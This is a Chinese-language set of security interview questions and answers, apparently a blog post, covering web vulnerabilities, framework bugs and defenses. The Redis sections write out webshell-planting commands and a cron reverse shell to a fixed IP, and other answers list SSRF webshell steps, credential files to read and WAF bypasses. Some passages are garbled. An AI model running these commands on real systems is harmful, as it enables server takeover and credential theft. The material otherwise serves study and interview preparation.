品牌网站建设定位,网页制作模板源代码免费,王也高清全屏壁纸,wordpress 驱动文章目录 51、常见的安全工具有哪些#xff1f;52、说说Nmap工具的使用#xff1f;53、近几年HW常见漏洞有哪些#xff1f;54、HW 三#xff08;四#xff09;大洞56、获得文件读取漏洞#xff0c;通常会读哪些文件57、了解过反序列化漏洞吗#xff1f;58、常见的框架漏… 文章目录 51、常见的安全工具有哪些52、说说Nmap工具的使用53、近几年HW常见漏洞有哪些54、HW 三四大洞56、获得文件读取漏洞通常会读哪些文件57、了解过反序列化漏洞吗58、常见的框架漏洞log4j远程代码执行漏洞Fastjson反序列化漏洞Shiro反序列化漏洞shiro-550shiro-721 59、了解过redis数据库和常见的漏洞吗60、SSRF怎么结合Redis相关漏洞利用61、sql注入getshell的几种方式62、SQL注入漏洞63、CSRF漏洞64、文件包含漏洞65、文件上传漏洞66、SSRF漏洞67、逻辑漏洞68、XXE漏洞69、代码执行漏洞70、关于路径覆盖漏洞不常问71、邮件系统漏洞攻击72、DNS欺骗是什么73、DDOS攻击74、什么是CC攻击75、常见的端口和对应的服务76、身份认证漏洞最常见是77、验证码漏洞78、DOM 型XSS人工测试79、为什么参数化查询可以防止SQL注入80、各种常见的状态码81、Dll劫持漏洞 51、常见的安全工具有哪些
端口及漏洞扫描Namp 抓包Wireshark、Burpsuite、Fiddler Web自动化安全扫描Awvs、Appscan、Xray、goby 信息收集Oneforall 漏洞利用MSF、CS Webshell管理菜刀、蚁剑、冰蝎、哥斯拉 内网工具fscan、frp、nps 凭据密码收集工具mimikatz
52、说说Nmap工具的使用
-sT TCP (全)连接扫描准确但留下大量日志记录-sS TCP SYN (半)扫描速度较快不会留下日志-sN null 扫描标志位全为 0不适用 Windows-sF FIN 扫描标志位 FIN1不适用 Windows-O 查看目标主机系统版本-sV 探测服务版本-A 全面扫描
53、近几年HW常见漏洞有哪些
弱口令、未授权访问、文件上传、注入、log4j代码执行、Struts2命令执行、fastjson、shiro、TinkPHP代 码执行、Spring代码执行等等。
54、HW 三四大洞
shiro、struts2、weblogic、Fastjson 额外thinkphp、2021年log4j、2022年word msdt 55、讲诉 2023 年护网出现过那些 0day 漏洞 蓝凌OA前台代码执行 金山WPS RCE 泛微E-Office9文件上传漏洞 泛微 Eoffice10 前台 SQL 注入 用友GRP-U8存在信息泄露 用友畅捷通 SQL注入 大华智慧园区任意密码读取漏洞 致远OA任意管理员登录 广联达oa sql注入漏洞
56、获得文件读取漏洞通常会读哪些文件
linux etc/passwd、etc/shadow直接读密码 /etc/hosts # 主机信息 /root/.bashrc # 环境变量 /root/.bash_history # 还有root外的其他用户 /root/.viminfo # vim 信息 /root/.ssh/id_rsa # 拿私钥直接ssh /proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite 数据库 config 文件 web 日志 access.log, error.log ssh 日志 bash /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1 windows C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql 配置 C:\Program Files\mysql\data\mysql\user.MY D //Mysql root C:\Windows\php.ini //php 配置信息 C:\Windows\my.ini //Mysql 配置信息
57、了解过反序列化漏洞吗
原理 序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式反序列化则与其相反即将字节序列转 化为对象供程序使用。程序在进行反序列化时会调用一些函数比如常见的PHP反序列化函数unserialize()以及 一些常见的魔术方法比如构造函数_construct()析构函数_destruct()_wakeup()_toString() _sleep()等等。如果这些函数在传递参数时没有进行严格的过滤措施那么攻击者就可以构造恶意代码并将其序列 化后传入函数中从而导致反序列化漏洞。 Java反序列化Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是 1、创建一个对象输出流 2、通过对象输出流的ReadObject()方法来读取对象
58、常见的框架漏洞
log4j远程代码执行漏洞
原理 Log4j 是Apache 的一个开源项目是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打 印时当遇到KaTeX parse error: Expected }, got EOF at end of input: … 在正常的log处理过程中对{这两个紧邻的字符做了检测一旦匹配到类似于表达式结构的字符串就会 触发替换机制将表达式的内容替换为表达式解析后的内容而不是表达式本身从而导致攻击者构造 符合要求的表达式供系统执行
Fastjson反序列化漏洞
判断 正常请求是get请求并且没有请求体可以通过构造错误的POST请求即可查看在返回包中是否有 fastjson这个字符串来判断。 原理 fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。 fastjson提供了autotype功能在请求过程中我们可以在请求包中通过修改type的值来反序列化 为指定的类型而fastjson在反序列化过程中会设置和获取类中的属性如果类中存在恶意方法就会 导致代码执行等这类问题。 无回显怎么办 1.一种是直接将命令执行结果写入到静态资源文件里如html、js等然后通过http访问就可以直接看 到结果 2.通过dnslog进行数据外带但如果无法执行dns请求就无法验证了 3.直接将命令执行结果回显到请求Poc的HTTP响应中
Shiro反序列化漏洞
原理 Shiro是Apache下的一个开源Java安全框架执行身份认证授权密码和会话管理。shiro在用户登录 时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选 项那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求就不需要重新输入用 户名和密码。 判断 1.数据返回包中包含rememberMedeleteMe字段。 2.直接发送原数据包返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段 rememberMe然后查看返回数据包中是否存在关键字。
shiro-550
shiro反序列化漏洞利用有两个关键点首先是在shiro1.2.4时AES加密的密钥Key被硬编码在代码 里只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证 rememberMe时使用了readObject方法readObject用来执行反序列化后需要执行的代码片段从而 造成恶意命令可以被执行。攻击者构造恶意代码并且序列化AES加密base64编码后作为cookie 的rememberMe字段发送。Shiro将rememberMe进行编码解密并且反序列化最终造成反序列化 漏洞。
shiro-721
不需要key利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
59、了解过redis数据库和常见的漏洞吗
redis是一个非关系型数据库使用的默认端口是6379。常见的漏洞是未授权访问漏洞攻击者无需认证就可以访问内部数据。利用手段主要有 第一种向root权限账户写入ssh公钥文件直接免密登录服务器。(受害者redis非root权限运行会报错) 条件 服务器存在.ssh目录且具有写入的权限 原理 在数据库中插入一条数据将本机的公钥作为valuekey值随意然后通过修改数据库的默认路径 为/root/.ssh和默认的缓冲文件authorized.keys把缓冲的数据保存在文件里这样就可以在服务器端 的/root/.ssh下生成一个授权的key。 第二种写入webshell 条件 已知web绝对路径。 步骤 1、redis -cli -h 192.168.x.x 连接目标服务器 2、config set dir “/var/www/html” 设置保存文件路径 3、config set dbfilename shell.php 设置保存文件名 4、set x “\n\n?php eval($_POST[cmd]); ?\n” 将webshell写入x键值中 5、save 保存 局限 1、服务器处于内网写入webshell后我们的公网IP无法连接。 2、服务器IP地址不固定。 3、6379端口不允许入方向。 4、上传webshell可能直接被杀毒软件删除。 第三种反弹连接shell 设置监听端口常用的工具msf、netcat、socat 利用msf设置监听步骤 1、use exploit/multi/handler 2、set payload generic/shell_reverse_tcp 3、set lhost 192.168.x.x 默认监听端口为4444 4、run 第四种定时任务反弹shell 步骤 1、定时任务用的表达式 Cron表达式是一个字符串该字符串由6个空格分为7个域每一个域代表 一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中 写入反弹连接命令 2、config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中 3、config set dbfilename root //设置保存文件名 4、set x “\n * * * * * bash -i /dev/tcp/192.168.96.222/7777 01\n” //将 反弹shell写入x键值中 5、save //保存 利用定时任务反弹shell在目标系统是Centos上可用Ubuntu上有限制理由如下 1、默认redis写文件后是644的权限但ubuntu要求执行定时任务 件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行否则会报错而Centos的定时 任务文件权限644也能执行。 2、redis保存RDB会存在乱码在Ubuntu上会报错而在Centos上不会报错。 3、两个系统的定时任务文件目录不同。 第五种利用主从复制getshell 条件 版本(4.x~5.0.5) 原理 数据读写体量很大时为了减轻服务器的压力redis提供了主从模式主从模式就是指定一个redis实 例作为主机其余的作为从机其中主机和从机的数据是相同的而从机只负责读主机只负责写。通过读写分离 可以减轻服务器端的压力。 利用工具 RedisRogueServer 地址 https://github.com/n0b0dyCN/redis-rogue-server 使用工具的命令 python3 redis-rogue-server.py --rhostx.x.x.x --lhostx.x.x.x --expexp.so 两种使用方法 交互式 反弹式 限制 利用这个方法getshell或者rce任意导致redis服务瘫痪一般不建议使用 redis未授权访问漏洞的防范措施 1、添加登录密码。 2、修改默认端口。 3、关闭端口。 4、禁止以root用户权限启动以低权限启动redis服务。
60、SSRF怎么结合Redis相关漏洞利用
主要通过两种协议dict协议和gopher协议。 第一种dict协议利用redis相关漏洞 探测端口 ssrf.php?urldict://x.x.x.x: 端口 端口 端口 利用burpsuite爆破端口 探测是否设置弱口令 ssrf.php?urldict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码 爆破密码 ssrf.php?urldict://x.x.x.x:6379/auth: 密码 密码 密码 利用burpsuite爆破密码 写入webshell 1、urldict://[http://xxx.xxx:6379/config:set:dir:/var/www/html] (https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录 2、urldict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php] (https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件 名 3、urldict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/set%3Awebshell%3A) \x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e //利用dict协议写 入webshell 以上的字符编码是?php phpinfo();?的十六进制 4、urldict://x.x.x.x:6379/save 保存 5、urldict://[http://xxx.xxx:6379/config:set:dir:/var/www/html] (https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录 6、urldict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php] (https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件 名 7、urldict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/? targethttp%3A//xxx.xxx%3A6379/set%3Awebshell%3A) \x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e 8、利用dict协议写入webshell 以上的字符编码是?php phpinfo();?的十六进制 9、ssrf.php?urldict://x.x.x.x:6379/save 保存 dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似 第二种gopher协议利用redis未授权访问漏洞写入webshell 常规利用步骤 set x “\n\n\n?php eval($_POST[redis]);?\n\n\n” config set dir /var/www/html config set dbfilename shell.php save //第一次url解码和第二次url解码 //同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
61、sql注入getshell的几种方式
第一种方式into outfile 利用条件 1、当前数据库用户是root 2、知道网站的绝对路径 3、secure_file_priv没有具体值 第二种方式–os-shell 原理–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件一个 可以直接执行系统命令一个进行上传文件。 条件 1、要求为数据库DBA使用–is-dba查看当前网站连接的数据库账号是否为mysql user表中的管 理员如root是则为dba 2、secure_file_priv没有具体值 3、知道网站的绝对路径 第三种方式写日志 条件 尝试用日志写入木马getshell不需要secure_file_priv没有具体值但是需要知道网站根目录。
62、SQL注入漏洞
原理 产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接 到查询语句中。利用 SQL注入漏洞攻击者可以在应用的查询语句中插入自己的SQL代码并传递 给后台SQL服务器时加以解析并执行。 分类 1、显注。 2、盲注无回显 时间型、布尔型、报错型。 危害 1、数据库信息泄露。 2、网页篡改。 3、网站被挂马传播恶意软件。 4、数据库被恶意操作。 5、服务器被植入后门。 6、破坏硬盘或者服务器等硬件设备。 如何进行SQL注入的防御 1、关闭应用的错误提示 2、加waf 3、对输入进行过滤 4、限制输入长度 5、限制好数据库权限drop/create/truncate等权限谨慎grant 6、预编译好sql语句python和Php中一般使用?作为占位符。这种方法是从编程框架方面解 决利用占位 符参数的sql注入只能说一定程度上防止注入。还有缓存溢出、终止字符等。 7、数据库信息加密安全引导到密码学方面。不采用md5因为有彩虹表一般是一次md5后 加盐再 md5。 8、清晰的编程规范结对/自动化代码review加大量现成的解决方案PreparedStatement ActiveRecord歧义字符过滤 只可访问存储过程 balabala已经让SQL注入的风险变得非常低了。 绕过技术 1、关键字可以用%只限 IIS 系列。比如 select可以 sel%e%ct 2、通杀的内联注释如 /!select/ 3、编码可两次编码 4、multipart 请求绕过在 POST 请求中添加一个上传文件绕过了绝大多数 WAF 5、参数绕过复制参数id1id1 6、组合法 如 and 可以用再 URL 编码 7、替换法如 and 改成;可以用 like 或 in 等
63、CSRF漏洞
原理CSRF跨站点请求伪造。攻击者盗用了受害者的身份以受害者的名义发送恶意请求对 服务器来说这个请 求是完全合法的但是却完成了攻击者所期望的一个操作 危害 1、对网站管理员进行攻击 2、修改受害网站上的用户账户和数据 3、账户劫持 4、传播CSRF蠕虫进行大规模攻击 5、利用csrf进行拖库 6、利用其他漏洞进行组合拳攻击 7、针对路由器的csrf攻击 如何防护 1、尽量使用POST限制GET 2、浏览器Cookie策略 3、加验证码 4、Referer Check 5、Anti CSRF Token
64、文件包含漏洞
类型 1、本地文件包含 2、远程文件包含 即加载远程文件在php.ini中开allow_url_include 、 allow_url_fopen选 项。开启后可以直接执行任意代码。 利用 1、读取敏感文件 2、远程包含shell 3、图片上传并包含图片shenll 4、使用伪协议 5、包含日志文件GetShell 6、截断包含 PHP文件包含函数 1、include()使用此函数只有代码执行到此函数时才将文件包含进来发生错误时只警告 并继续执 行。 2、inclue_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一次。 3、require()使用此函数只要程序执行立即调用此函数包含文件发生错误时会输出 错误信息 并立即终止程序。 4、require_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一 次。 修复方案 1、禁止远程文件包含allow_url_includeoff 2、配置open_basedir指定目录限制访问区域。 3、过滤 …/等特殊符号 4、修改Apache日志文件的存放地址 5、开启魔术引号magic_quotes_qpcon 6、尽量不要使用动态变量调用文件直接写要包含的文件。
65、文件上传漏洞
原理 由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀以及文件类型或者处理缺陷而导 致用户可以越过本身权限向服务器上传木马去控制服务器。 危害 操作木马文件提权 获取网站权限 绕过方法 黑名单 1、后缀名不完整 .php5 .phtml等 2、上传 .htacess 3、大小写 4、在数据包中后文件缀名前加空格 5、后缀名前加 . 6、加上::$DATA 7、未循环验证可以使用x.php…类似的方法 白名单一般需要配合其他漏洞一起利用 1、%00截断 2、图片马 3、条件竞争 修复 1、后端验证采用服务端验证模式。 2、后缀验证基于白名单黑名单过滤。 3、MIME验证基于上传自带类型艰检测。 4、内容检测文件头完整性检测。 5、自带函数过滤。 6、WAF防护软件宝塔、云盾等。
66、SSRF漏洞
原理 利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。 ssrf危害 1、探测内网信息,用协议探ftp%26ip{ip}%26port{port} 2、攻击内网或本地其他服务 3、穿透防火墙 漏洞存在的地方 1、能够对外发起网络请求的地方。 2、请求远程服务器资源的地方。 3、数据库内置功能。 具体利用的方式 具体操作需要查看支持的协议file协议查看文件、dict协议探测端口、ophergopher协议 支持 GETPOST请求同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用 gopher协议访问redis 反弹shell。 4、邮件系统。 5、文件处理。 6、在线处理工具。 举几个例子 1、在线识图在线文档翻译分享订阅等这些有的都会发起网络请求。 2、根据远程URL上传静态资源图片等这些会请求远程服务器的资源。 3、数据库的比如mongodb的copyDatabase函数这点看猪猪侠讲的吧没实践过。 4、邮件系统就是接收邮件服务器地址这些地方。 5、文件就找ImageMagickxml这些。 6、从URL关键字中寻找比如source,share,link,src,imageurl,target等。 绕过姿势 1、http://example.com127.0.0.1 2、利用IP地址的省略写法绕过 ,[::]绕过localhost 3、DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名xip.io 4、利用八进制IP地址绕过 ,利用十六进制IP地址 ,绕过利用十进制的IP地址绕过 修复 1、地址做白名单处理 2、域名识别IP 过滤内部IP 3、校验返回的内容对比是否与假定的一致
67、逻辑漏洞
1、挖过的逻辑漏洞 订单任意金额修改 相同价格增加订单数量相同订单数量减少产品价格订单价格设定为负数。 预防思路 订单需要多重效验。 订单数值较大的时候需要人工审核。 4、接口无限制枚举 某电商登陆接口无验证导致撞库 某招聘网验证码无限制枚举 某快递公司优惠券枚举 2、验证码回传 漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮 箱邮件 预防思路 response数据内不包含验证码验证方式主要采取后端验证但是缺点是服务器的运算压 力也会随之增加。 如果要进行前端验证的话也可以但是需要进行加密。 3、未进行登陆凭证验证 有些业务的接口因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷导致黑客可以未 经授权访问这 些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没 验证ID或cookie验证导致越权。 预防思路 对敏感数据存在的接口和页面做cookiessidtoken或者其它验证。 某电商会员卡卡号枚举 预防思路 在输入接口设置验证如token验证码等。如果设定验证码最好不要单纯的采取一个前 端验证最好选 择后端验证。如果设定token请确保每个token只能采用一次并且对 token设定时间参数。 注册界面的接口不要返回太多敏感信息以防遭到黑客制作枚举字典。 验证码不要用短数字尽量6位以上最好是以字母加数字进行组合并且验证码需要设定 时间期限。 优惠券VIP卡号请尽量不要存在规律性和简短性并且优惠券最好是以数字加字母进行组合。 5、cookie设置存在缺陷 Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单导致黑客可以 对cookie的效验 值进行一个枚举 . cookie存在被盗风险即用户重置密码后使用老cookie依然可以通过验证。 用户的cookie数据加密应严格使用标准加密算法并注意密钥管理。不能采取简单的 base64等算法。 越权 平行越权权限类型不变权限ID改变 垂直越权权限ID不变权限类型改变 交叉越权即改变ID也改变权限 预防思路 1、cookie中设定多个验证比如自如APP的cookie中需要sign和ssid两个参数配对才能返回数据。 2、用户的cookie数据加密应严格使用标准加密算法并注意密钥管理。 3、用户的cookie的生成过程中最好带入用户的密码一旦密码改变cookie的值也会改变。 4、cookie中设定session参数以防cookie可以长时间生效。 5、根据业务不同还有很多方法。 67、XSS漏洞 原理: 通过插入恶意脚本实现对用户浏览器的攻击。 类型: 存储、反射、dom XSS绕过 1、大小写 2、js伪协议 3、没有分号 4、Flash 5、Html5新标签 6、Fuzz进行测试 7、双层标签绕过 反射和dom的区别: DOM-XSS是javascript处理输出 而反射性xss是后台程序处理。 修复防御 1、对输入内容的特定字符进行编码例如表示html标记的 等符号。 2、对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取 cookie此 HTTP头由服 务端设置。 3、将不可信的值输出URL参数之前进行URLEncode操作而对于从URL参数中获取值一定要 进行格式检 测比如你需要的时URL就判读是否满足URL格式。 4、不要使用Eval来解析并运行不确定的数据或代码对于JSON解析请使用 JSON.parse() 方法。
68、XXE漏洞
原理: 解析用户传入的xml 作用: 内网端口扫描、利用file协议等读取文件、攻击内网web应用使用get(struts2等) 危害 1、导致可以加载恶意外部文件 2、造成文件读取 3、内网端口扫描 4、攻击内网网站 5、发起dos攻击等危害 防御: 过滤用户提交的XML数据、如果你当前使用的程序为PHP则可以将 libxml_disable_entity_loader设 置为TRUE来禁用外部实体从而起到防御的目的。
69、代码执行漏洞
原理 没有对接口输入的内容进行严格的判断 造成攻击者精心构造的代码非法执行当应用在调用一些能将字符转 化为代码的函数(如PHP中的eval)时没有考虑用户是否能控 制这个字符串这就会造成代码执行漏洞。 相关函数 PHPeval assert Pythonexec asp%CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()% 危害 1、执行代码 2、让网站写shell 3、甚至控制服务器 漏洞利用 1、执行代码的函数eval、assert 2、callback函数preg_replace /e模式 3、反序列化unserialize()(反序列化函数) 防御修复 1、使用json保存数组当读取时就不需要使用eval了。 2、对于必须使用eval的地方一定严格处理用户数据 3、字符串使用单引号包括可控代码插入前使用addslashes转义。 4、放弃使用preg_replace的e修饰符使用preg_replace_callback()替换。 5、若必须使用preg_replace的e修饰符则必用单引号包裹正则匹配出的对象。
70、关于路径覆盖漏洞不常问
RPO的全称为Relative Path Overwrite,也就是相对路径覆盖利用客户端和服务端的差 异通过相对路径来 引入我们想要的js或css文件从而实现某种攻击。 就目前来看此攻击方法依赖于浏览器和网络服务器的反应基于服务器的Web缓存技术和配置 差异以及服务器和 客户端浏览器的解析差异利用前端代码中加载的css/js的相对路径来加 载其他文件最终浏览器将服务器返回 的不是css/js的文件当做css/js来解析从而导致 XSS信息泄露等漏洞产生。
71、邮件系统漏洞攻击
漏洞攻击是危害网络安全中较为常见的一种。作为当今世界上使用最为频繁的商务通信工具—— 邮件系统更是屡屡 遭受漏洞攻击的困扰这不仅因为制造漏洞的途径多还以为邮件系统的 互联网通信协议本身的问题。前者如程序 员因为工作失误出现编码漏洞毕竟人非机器在紧 张复杂的工作过程中难免有个闪失除了人为因素还有软 件编码工具及编译器造成的错 误不同应用程序彼此之间的相互作用如大多数程序必须与其它API相交互保存 并检索文 件同时运行在多种不同类型的设备上都会可能产生漏洞后者如互联网通信协议—TCP和 UDP其开 放性常常引来黑客的攻击而IP地址的脆弱性也给黑客的伪造提供了可能从而 泄露远程服务器的资源信息。 除了以上原因据业界知名邮件通联服务商U-Mail专家张工分析常见漏洞大概可分为几种 一、IMAP 和 POP 漏洞 这些协议常见弱点是密码脆弱同时各种IMAP和POP服务还容易受到如缓冲区溢出等类型的 攻击。 二、拒绝服务DoS攻击 1、死亡之Ping——发送一个无效数据片段该片段始于包结尾之前但止于包结尾之后 2、同步攻击——极快地发送TCP SYN包它会启动连接使受攻击的机器耗尽系统资源进而 中断合法 连接 3、循环——发送一个带有完全相同的源 目的地址端口的伪造SYN包使系统陷入一个试图完 成TCP连 接的无限循环中。 三、系统配置漏洞 1、默认配置——大多数系统在交付给客户时都设置了易于使用的默认配置被黑客盗用变得轻 松 2、空的默认根密码——许多机器都配置了空的或默认的根管理员密码并且其数量多得惊人 3、漏洞创建——几乎所有程序都可以配置为在不安全模式下运行这会在系统上留下不必要的漏洞。 四、利用软件问题在服务器守护程序、客户端应用程序、操作系统和网络堆栈中存在很多 的软件错误分为以 下几类 1、缓冲区溢出——程序员会留出一定数目的字符空间来容纳登录用户名黑客则会通过发送比指 定字符串长 的字符串其中包括服务器要执行的代码使之发生数据溢出造成系统入侵。 2、意外组合——程序通常是用很多层代码构造而成的入侵者可能会经常发送一些对于某一层毫 无意义但 经过适当构造后对其他层有意义的输入。 3、未处理的输入——大多数程序员都不考虑输入不符合规范的信息时会发生什么。
72、DNS欺骗是什么
定义 DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 原理 如果可以冒充域名服务器然后把查询的IP地址设为攻击者的IP地址这样的话用户上网就只能看到攻击者 的主页而不是用户想要取得的网站的主页了这就是DNS欺骗的基本 原理。 DNS欺骗其实并不是真的“黑掉”了 对方的网站而是冒名顶替、招摇撞骗罢了。
73、DDOS攻击
分布式拒绝服务攻击DDoS是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有 很多种最基本的 DoS攻击就是利用合理的服务请求来占用过多的服务资源从而使合法用户无法得到服务的响应。 抗D思想和方案 1、负载均衡。 2、花钱买流量清洗服务。 3、CDNweb层比如cc攻击。 4、分布式集群防御。 5、高防防大部分攻击udp、大型的cc攻击。 6、预防为主。 7、系统漏洞。 8、系统资源优化过滤不必要的服务和端口。 9、限制特定流量检查访问来源做适当限制。
74、什么是CC攻击
CC攻击是DDOS分布式拒绝服务的一种相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真 实源IP见不到特别大的异 常流量但造成服务器无法进行正常连接。 CC攻击的原理就是攻击者控制某些主机不停地发 大量数据包给对方服务器造成服务器资源耗尽 一直到宕机溃。 CC主要是用来攻击页面的 每个人都有这样的体验当一个 网页访问的人数特别多的时候打开网页就慢了CC 就是模 拟多个用户多少 线程就是多少用户不停地进行访问那些需要大量数据操作就是需要大量 CPU时间 的页面造成服务器资源的浪费CPU长时间处100%永远都有处 理不完的连接直 至就网络拥塞正常的访问被 中止。
75、常见的端口和对应的服务
1、web类 这部分常有的漏洞有 web漏洞/敏感目录第三方通用组件漏洞struts、thinkphp、 jboss、ganglia、 zabbix 80 web 80-89 web 8000-9090 web 2、数据库类扫描弱口令 1433 MSSQL 1521 3306 5432 Oracle MySQL PostgreSQL 3、特殊服务类未授权/命令执行/漏洞 443 SSL心脏滴血 873 Rsync未授权 5984 CouchDB http://xxx:5984/_utils/ 6379 redis未授权 7001、7002 weblogic默认弱口令、反序列化 9200、9300 elasticsearch 参考乌云多玩某服务器ElasticSearch命令执行漏洞 11211 memcache未授权访问 50000 SAP命令执行 50070、50030 hadoop默认端口未授权访问 4、常用端口类扫描弱口令/端口爆破 21 ftp 22 ssh 23 telnet 2601、2604 zebra路由默认密码zebra 3389 远程桌面 5、常见的端口漏洞 21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破 22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密 码 可能会登入进去 23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令 25 smtp 默认用户 默认密码 邮件账号爆破 80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不 当 造成fastcgi端口泄露 110 pop3 默认用户 默认密码 邮件账号爆破 443 https openssl 心脏滴血影响范围较小 SSL/TLS低版本存在的漏洞 135 139 445 netbios smb MS17010 3389 RDP CVE-2019-0708 3389和443、445有什么漏洞 445ms06_040蠕虫勒索病毒、MS17-010 443ssl心脏滴血 3389rdp漏洞、弱口令、cve-2019-0708、ms12-20 端口合计详情 161 SNMP 389 LDAP 512、513、514 Rexec 873 Rsync未授权 1025、1111 NSF 1433 sqlserver 1521 Oracle iSqlPlus port5560、7778 2082/2083 cpanel主机管理系统登录 2222 DA虚拟主机管理系统登录 2601、2604 zebra路由默认密码zebra 3128 squid代理默认端口如果没设置口令很可能直接漫游内网 3306 Mysql 3312/3311 kangle主机管理系统登录 4440 rundeck 参考乌云借用新浪某服务成功漫游新浪内网 5432 PostgreSQL 5900 vnc 5984 CouchDB 6082 varnish 6379 redis未授权 7001、7002 weblogic默认弱口令、反序列化 7778 kloxo主机控制面板登录 8000-9090 都是一些常见的web端口有些运维谢欢吧管理后台开放在这些非80端口上 8080 tomcat/wDCP主机管理系统默认弱口令 8080、8089、9090 jboss 8083 Vestacp主机管理系统 8649 ganglia 8888 amh/LuManager 主机管理系统默认端口 9200、9300 elasticsearch 参考乌云多玩某服务器ElasticSearch命令执行漏洞 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 11211 memcache未授权访问 27017、27018 Mongodb未授权访问 28017 mongodb统计页面 50000 SAP命令执行 50070、50030 hadoop默认端口未授权访问
76、身份认证漏洞最常见是
1、会话固定攻击 2、cookie仿冒 只要得到session和cookie即可伪造用户身份。
77、验证码漏洞
1、验证码漏洞存在暴力破解。 2、可以通过js或改包方法进行绕过。
78、DOM 型XSS人工测试
人工测试思路找到类似 document.write、innerHTML赋值、outterHTML 赋值、 window.location 操 作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量回 溯变量来源观察是否可控是否经 过安全函数。
79、为什么参数化查询可以防止SQL注入
原理: 使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行是在数 据库完成sql指令的编 译后才套用参数运行。 简单的说: 参数化能防注入的原因在于 ,语句是语句参数是参数参数的值并不是语句的一 部分数据库只按语句的 语义跑。
80、各种常见的状态码
200 OK //客户端请求成功 403 Forbidden //服务器收到请求但是拒绝提供服务 404 Not Found //请求资源不存在eg输入了错误的 URL 500 Internal Server Error //服务器发生不可预期的错误
81、Dll劫持漏洞
由于输入表中只包含DLL名而没有它的路径名因此加载程序必须在磁盘上搜 索 DLL 文件。首先会尝试从当前程 序所在的目录加载DLL如果没找到则在 Windows系统目录中查找最后是在环境变量中列出的各个目录下查 找。利用 这个特点先伪造一个系统同名的DLL提供同样的输出表每个输出函数转向 真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的 DLL完成相关功能后再 跳到系统DLL同名函 数里执行。这个过程用个形象的词来描述就是系统DLL被劫持 hijack了。伪造的dll制作好后放到程序当 前目录下这样当原程序调用原函数时就调 用了伪造的dll的同名函数进入劫持DLL的代码处理完毕后再调 用原DLL此函数。 DLL劫持利用系统未知DLL的搜索路径方式使得程序加载当前目录下的系统同名DLL。所以可 以告诉系统DLL的位 置改变加载系统DLL的顺序不是当前目录而是直接到系统目录下查找。